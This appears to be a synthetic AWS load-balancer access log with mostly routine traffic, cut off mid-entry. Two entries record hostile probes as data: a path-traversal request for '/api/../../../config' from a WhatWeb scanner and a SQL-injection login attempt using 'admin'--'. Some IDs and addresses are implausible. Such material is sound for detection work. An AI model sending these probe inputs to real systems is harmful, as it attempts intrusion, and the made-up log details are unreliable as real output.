"Root=1-6723d472-a43674668c364754ab7d6a56" "prod-web-alb.example.com" "-" 6 2024-11-01T02:03:14.888132Z "forward" "-" "-" "10.0.171.237:443" "200" "-" "-" -http 2024-11-01T02:03:15.210239Z staging-alb 101.53.135.76:21513 192.249.153.37:80 0.044768 0.679666 0.084655 200 200 506 7890 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d473-5e192abe8c7b45eaae1f2bf6" "staging-alb.example.com" "-" 2 2024-11-01T02:03:15.210239Z "forward" "-" "-" "192.249.153.37:80" "200" "-" "-" -https 2024-11-01T02:03:15.978171Z staging-alb 200.35.180.0:19302 71.186.150.126:443 0.014214 0.212595 0.033647 404 404 65 10754 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d473-df9eb1966a7643879cfeeda2" "staging-alb.example.com" "-" 0 2024-11-01T02:03:15.978171Z "forward" "-" "-" "71.186.150.126:443" "404" "-" "-" -https 2024-11-01T02:03:17.805877Z prod-api-alb 227.130.237.71:13735 10.0.16.154:443 0.087801 0.468183 0.089874 302 302 137 923 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d475-9ad5886b7ff345babc2594b3" "prod-api-alb.example.com" "-" 6 2024-11-01T02:03:17.805877Z "forward" "-" "-" "10.0.16.154:443" "302" "-" "-" -http 2024-11-01T02:03:18.925316Z staging-alb 215.190.180.58:45055 221.18.64.198:8080 0.057642 0.085384 0.058565 200 200 315 9705 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d476-4e0970125ddb4f75a62ea7e6" "staging-alb.example.com" "-" 9 2024-11-01T02:03:18.925316Z "forward" "-" "-" "221.18.64.198:8080" "200" "-" "-" -https 2024-11-01T02:03:20.456782Z staging-alb 198.112.2.210:46390 219.152.178.99:8080 0.130030 0.567747 0.002433 404 404 469 8799 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d478-709a71e8b7b041718896942e" "staging-alb.example.com" "-" 10 2024-11-01T02:03:20.456782Z "forward" "-" "-" "219.152.178.99:8080" "404" "-" "-" -https 2024-11-01T02:03:22.380444Z prod-web-alb 160.134.121.18:28262 10.0.13.15:443 0.075229 0.336410 0.082157 200 200 973 12936 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d47a-c57fcb98adc540439aadd135" "prod-web-alb.example.com" "-" 9 2024-11-01T02:03:22.380444Z "forward" "-" "-" "10.0.13.15:443" "200" "-" "-" -https 2024-11-01T02:03:23.476686Z prod-web-alb 6.209.139.101:30606 10.0.47.101:443 0.028270 0.428540 0.094691 200 200 664 546 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d47b-dcaa8d5c78e54ba49e47b5a2" "prod-web-alb.example.com" "-" 8 2024-11-01T02:03:23.476686Z "forward" "-" "-" "10.0.47.101:443" "200" "-" "-" -https 2024-11-01T02:03:25.275489Z prod-web-alb 129.10.250.116:30240 10.0.251.78:443 0.085638 0.420370 0.060881 302 302 923 12255 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d47d-8e64f462c9a84594a2d664df" "prod-web-alb.example.com" "-" 6 2024-11-01T02:03:25.275489Z "forward" "-" "-" "10.0.251.78:443" "302" "-" "-" -https 2024-11-01T02:03:26.681114Z prod-api-alb 90.90.108.148:39364 10.0.112.64:443 0.033157 0.074821 0.028889 200 200 477 8771 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d47e-27876f8688e04356bf85fe69" "prod-api-alb.example.com" "-" 7 2024-11-01T02:03:26.681114Z "forward" "-" "-" "10.0.112.64:443" "200" "-" "-" -https 2024-11-01T02:03:28.347377Z prod-api-alb 45.155.205.144:42776 10.0.180.16:443 0.008983 0.066726 0.063015 404 404 83 12917 "GET /api/../../../config HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d480-61ba63d9b4924038b9b2623c" "-" "-" 10 2024-11-01T02:03:28.347377Z "forward" "-" "-" "10.0.180.16:443" "404" "-" "-" -https 2024-11-01T02:03:28.772322Z prod-api-alb 210.12.62.16:46744 10.0.127.182:443 0.003078 0.370431 0.063740 200 200 34 12165 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d480-d74867cfc15040dba23fe347" "prod-api-alb.example.com" "-" 9 2024-11-01T02:03:28.772322Z "forward" "-" "-" "10.0.127.182:443" "200" "-" "-" -http 2024-11-01T02:03:29.939948Z staging-alb 147.223.75.172:27057 246.14.233.7:443 0.104805 0.379432 0.089609 200 200 897 10736 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d481-4451e5d3b9d146629363a4c4" "staging-alb.example.com" "-" 8 2024-11-01T02:03:29.939948Z "forward" "-" "-" "246.14.233.7:443" "200" "-" "-" -https 2024-11-01T02:03:30.684131Z prod-web-alb 90.249.15.117:48425 10.0.74.163:443 0.045673 0.421501 0.059160 302 302 446 2623 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d482-3114be55ef1940ceb7de6cee" "prod-web-alb.example.com" "-" 4 2024-11-01T02:03:30.684131Z "forward" "-" "-" "10.0.74.163:443" "302" "-" "-" -https 2024-11-01T02:03:30.872756Z prod-api-alb 197.98.249.48:11559 10.0.248.101:443 0.077422 0.088249 0.055429 200 200 805 1472 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d482-27bb825c030d43cd9376378e" "prod-api-alb.example.com" "-" 6 2024-11-01T02:03:30.872756Z "forward" "-" "-" "10.0.248.101:443" "200" "-" "-" -https 2024-11-01T02:03:32.825382Z prod-api-alb 62.11.252.154:19887 10.0.75.3:443 0.050825 0.194075 0.025020 200 200 479 670 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d484-5307cb7913dd4132831fc539" "prod-api-alb.example.com" "-" 7 2024-11-01T02:03:32.825382Z "forward" "-" "-" "10.0.75.3:443" "200" "-" "-" -https 2024-11-01T02:03:33.358259Z staging-alb 186.99.115.161:48822 56.109.15.37:443 0.000836 0.211702 0.109806 200 200 258 11957 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d485-e8819b2cbced4e209eccc3a9" "staging-alb.example.com" "-" 0 2024-11-01T02:03:33.358259Z "forward" "-" "-" "56.109.15.37:443" "200" "-" "-" -http 2024-11-01T02:03:34.960599Z staging-alb 235.170.125.245:42819 109.199.242.174:443 0.002541 0.023425 0.004595 404 404 95 864 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d486-eefdd8eba5c642adb214f745" "staging-alb.example.com" "-" 9 2024-11-01T02:03:34.960599Z "forward" "-" "-" "109.199.242.174:443" "404" "-" "-" -https 2024-11-01T02:03:35.244231Z prod-web-alb 166.147.151.55:24060 10.0.162.209:443 0.000824 0.476710 0.057471 200 200 481 3996 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d487-c54b590a4f514084a898cb7e" "prod-web-alb.example.com" "-" 0 2024-11-01T02:03:35.244231Z "forward" "-" "-" "10.0.162.209:443" "200" "-" "-" -https 2024-11-01T02:03:36.521322Z staging-alb 24.1.6.239:52046 61.124.144.115:80 0.038201 0.160422 0.087459 200 200 300 13893 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d488-a93bb74d30eb4787921af176" "staging-alb.example.com" "-" 9 2024-11-01T02:03:36.521322Z "forward" "-" "-" "61.124.144.115:80" "200" "-" "-" -https 2024-11-01T02:03:37.794204Z staging-alb 109.96.98.184:23029 148.193.253.246:8080 0.141778 0.638276 0.118728 200 200 378 7470 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d489-3489a0ac610146cdabb9e70e" "staging-alb.example.com" "-" 3 2024-11-01T02:03:37.794204Z "forward" "-" "-" "148.193.253.246:8080" "200" "-" "-" -https 2024-11-01T02:03:39.068373Z staging-alb 241.11.132.131:31691 228.219.148.118:443 0.119296 0.089923 0.016493 200 200 373 11023 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d48b-635b8f213e684857889210b7" "staging-alb.example.com" "-" 10 2024-11-01T02:03:39.068373Z "forward" "-" "-" "228.219.148.118:443" "200" "-" "-" -https 2024-11-01T02:03:40.263581Z prod-web-alb 249.74.132.152:60683 10.0.108.50:443 0.073910 0.311126 0.026148 200 200 358 7167 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d48c-c6f2bb48877b4f8982a3b5ba" "prod-web-alb.example.com" "-" 1 2024-11-01T02:03:40.263581Z "forward" "-" "-" "10.0.108.50:443" "200" "-" "-" -https 2024-11-01T02:03:41.478382Z prod-api-alb 22.77.136.216:40273 10.0.145.93:443 0.094076 0.261942 0.012329 200 200 362 2156 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d48d-c974b0f2189a48bb8a25ed11" "prod-api-alb.example.com" "-" 3 2024-11-01T02:03:41.478382Z "forward" "-" "-" "10.0.145.93:443" "200" "-" "-" -https 2024-11-01T02:03:43.411377Z prod-api-alb 18.68.240.24:22248 10.0.178.92:443 0.055300 0.207731 0.093047 200 200 692 13021 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d48f-fc4be26036254dd9a44bb6f4" "prod-api-alb.example.com" "-" 0 2024-11-01T02:03:43.411377Z "forward" "-" "-" "10.0.178.92:443" "200" "-" "-" -https 2024-11-01T02:03:44.765813Z staging-alb 77.228.59.63:59413 202.16.88.57:443 0.115057 0.445933 0.020301 302 302 254 14788 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d490-717af8e5fe9d4deba1aeedd1" "staging-alb.example.com" "-" 6 2024-11-01T02:03:44.765813Z "forward" "-" "-" "202.16.88.57:443" "302" "-" "-" -https 2024-11-01T02:03:46.281547Z prod-api-alb 19.142.72.75:64800 10.0.109.144:443 0.054127 0.221143 0.037788 404 404 451 5460 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d492-0ad085557de34c929de62a1b" "prod-api-alb.example.com" "-" 8 2024-11-01T02:03:46.281547Z "forward" "-" "-" "10.0.109.144:443" "404" "-" "-" -https 2024-11-01T02:03:48.242265Z prod-web-alb 188.21.47.109:31812 10.0.183.44:443 0.053274 0.273140 0.066259 200 200 340 10879 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d494-805f871bfe6c4729a4d3a777" "prod-web-alb.example.com" "-" 8 2024-11-01T02:03:48.242265Z "forward" "-" "-" "10.0.183.44:443" "200" "-" "-" -https 2024-11-01T02:03:50.064923Z prod-web-alb 130.218.198.141:25964 10.0.157.55:443 0.026190 0.022459 0.060811 200 200 694 11527 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d496-0898b622f659455b82f31319" "prod-web-alb.example.com" "-" 7 2024-11-01T02:03:50.064923Z "forward" "-" "-" "10.0.157.55:443" "200" "-" "-" -http 2024-11-01T02:03:52.012018Z staging-alb 22.130.102.186:44638 89.5.8.233:80 0.048209 0.318840 0.129859 200 200 251 466 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d498-79bc8be327a844dd9d19348f" "staging-alb.example.com" "-" 2 2024-11-01T02:03:52.012018Z "forward" "-" "-" "89.5.8.233:80" "200" "-" "-" -https 2024-11-01T02:03:52.329634Z prod-api-alb 51.13.73.189:52289 10.0.212.150:443 0.073487 0.311178 0.002616 200 200 539 728 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d498-8e42b1c071974d8ebc0b63b5" "prod-api-alb.example.com" "-" 5 2024-11-01T02:03:52.329634Z "forward" "-" "-" "10.0.212.150:443" "200" "-" "-" -https 2024-11-01T02:03:53.914565Z prod-web-alb 62.133.181.52:58798 10.0.108.203:443 0.021485 0.062366 0.017592 200 200 788 2613 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d499-33bb28f33579426ba64c1be6" "prod-web-alb.example.com" "-" 1 2024-11-01T02:03:53.914565Z "forward" "-" "-" "10.0.108.203:443" "200" "-" "-" -http 2024-11-01T02:03:55.108043Z staging-alb 142.213.205.83:45201 250.9.227.106:80 0.121572 0.631426 0.094155 200 200 520 1319 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d49b-dbef412fddbb497e9dae99c3" "staging-alb.example.com" "-" 5 2024-11-01T02:03:55.108043Z "forward" "-" "-" "250.9.227.106:80" "200" "-" "-" -https 2024-11-01T02:03:57.079214Z prod-api-alb 221.87.217.149:42332 10.0.181.203:443 0.015486 0.349167 0.057125 200 200 71 2075 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d49d-7eb09228ebef482392a784c0" "prod-api-alb.example.com" "-" 7 2024-11-01T02:03:57.079214Z "forward" "-" "-" "10.0.181.203:443" "200" "-" "-" -https 2024-11-01T02:03:57.873558Z prod-api-alb 239.161.153.34:10835 10.0.223.46:443 0.063283 0.158655 0.023311 404 404 580 1040 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d49d-6e3b89f94cd84c2ead63fbc3" "prod-api-alb.example.com" "-" 2 2024-11-01T02:03:57.873558Z "forward" "-" "-" "10.0.223.46:443" "404" "-" "-" -http 2024-11-01T02:03:57.987807Z staging-alb 253.160.24.86:24915 104.180.212.149:8080 0.056098 0.704949 0.063576 200 200 510 14460 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d49d-8440a45d227840f2ac536ee7" "staging-alb.example.com" "-" 4 2024-11-01T02:03:57.987807Z "forward" "-" "-" "104.180.212.149:8080" "200" "-" "-" -https 2024-11-01T02:03:58.830381Z prod-api-alb 185.181.104.251:58966 10.0.122.107:443 0.034590 0.244338 0.038021 403 403 212 14271 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d49e-4641507a9a4e4f40a7a5cbf9" "-" "-" 3 2024-11-01T02:03:58.830381Z "forward" "-" "-" "10.0.122.107:443" "403" "-" "-" -https 2024-11-01T02:04:00.229836Z prod-web-alb 95.222.90.159:10512 10.0.220.142:443 0.096725 0.084233 0.076349 301 301 546 3575 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4a0-f264ef3b46424512b2191b13" "prod-web-alb.example.com" "-" 9 2024-11-01T02:04:00.229836Z "forward" "-" "-" "10.0.220.142:443" "301" "-" "-" -https 2024-11-01T02:04:02.017518Z prod-api-alb 181.187.32.212:52164 10.0.27.209:443 0.033752 0.463047 0.014834 200 200 718 6292 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4a2-d49c783154174d61bcd8b16b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:04:02.017518Z "forward" "-" "-" "10.0.27.209:443" "200" "-" "-" -https 2024-11-01T02:04:03.738887Z prod-web-alb 156.253.64.245:53399 10.0.207.174:443 0.088885 0.310434 0.086325 200 200 392 14862 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4a3-81c99250849e41b0a3e74f22" "prod-web-alb.example.com" "-" 8 2024-11-01T02:04:03.738887Z "forward" "-" "-" "10.0.207.174:443" "200" "-" "-" -https 2024-11-01T02:04:03.962410Z prod-web-alb 144.29.25.10:12948 10.0.150.27:443 0.014146 0.037406 0.042946 200 200 492 6528 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4a3-4b4882ff6e67418999dae4b7" "prod-web-alb.example.com" "-" 7 2024-11-01T02:04:03.962410Z "forward" "-" "-" "10.0.150.27:443" "200" "-" "-" -https 2024-11-01T02:04:04.259547Z staging-alb 147.219.151.217:35634 173.244.246.11:443 0.039605 0.486426 0.002184 200 200 164 11086 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4a4-25636962d3bd4e80bad892b2" "staging-alb.example.com" "-" 5 2024-11-01T02:04:04.259547Z "forward" "-" "-" "173.244.246.11:443" "200" "-" "-" -https 2024-11-01T02:04:04.847219Z prod-web-alb 19.205.246.7:53347 10.0.159.219:443 0.026940 0.039543 0.035067 200 200 688 4233 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4a4-4b388fb9e37d4a60bb1081e4" "prod-web-alb.example.com" "-" 2 2024-11-01T02:04:04.847219Z "forward" "-" "-" "10.0.159.219:443" "200" "-" "-" -https 2024-11-01T02:04:05.705202Z prod-web-alb 89.231.237.191:41546 10.0.100.126:443 0.049110 0.139100 0.052213 302 302 210 12717 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4a5-4ccf39cca83744c6b8998d9f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:04:05.705202Z "forward" "-" "-" "10.0.100.126:443" "302" "-" "-" -https 2024-11-01T02:04:07.591941Z prod-api-alb 27.34.243.204:28426 10.0.186.64:443 0.059735 0.370213 0.083503 301 301 771 2247 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4a7-a204c191c83b47bba4a6e6b5" "prod-api-alb.example.com" "-" 3 2024-11-01T02:04:07.591941Z "forward" "-" "-" "10.0.186.64:443" "301" "-" "-" -http 2024-11-01T02:04:09.436518Z staging-alb 138.15.145.218:52962 165.104.208.121:8080 0.059877 0.672990 0.037529 200 200 351 5378 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4a9-ff86d89dc90846749a5330b5" "staging-alb.example.com" "-" 6 2024-11-01T02:04:09.436518Z "forward" "-" "-" "165.104.208.121:8080" "200" "-" "-" -https 2024-11-01T02:04:11.134817Z prod-web-alb 167.74.1.184:21598 10.0.154.224:443 0.072334 0.200051 0.036797 302 302 734 1254 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4ab-2b9c62ded7614cbab812e93f" "prod-web-alb.example.com" "-" 2 2024-11-01T02:04:11.134817Z "forward" "-" "-" "10.0.154.224:443" "302" "-" "-" -https 2024-11-01T02:04:12.308232Z prod-api-alb 99.100.28.59:14054 10.0.95.55:443 0.001609 0.190850 0.034205 200 200 38 11211 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ac-d0751c3688c2474ebae61640" "prod-api-alb.example.com" "-" 5 2024-11-01T02:04:12.308232Z "forward" "-" "-" "10.0.95.55:443" "200" "-" "-" -https 2024-11-01T02:04:14.176071Z prod-web-alb 18.59.165.9:23597 10.0.238.97:443 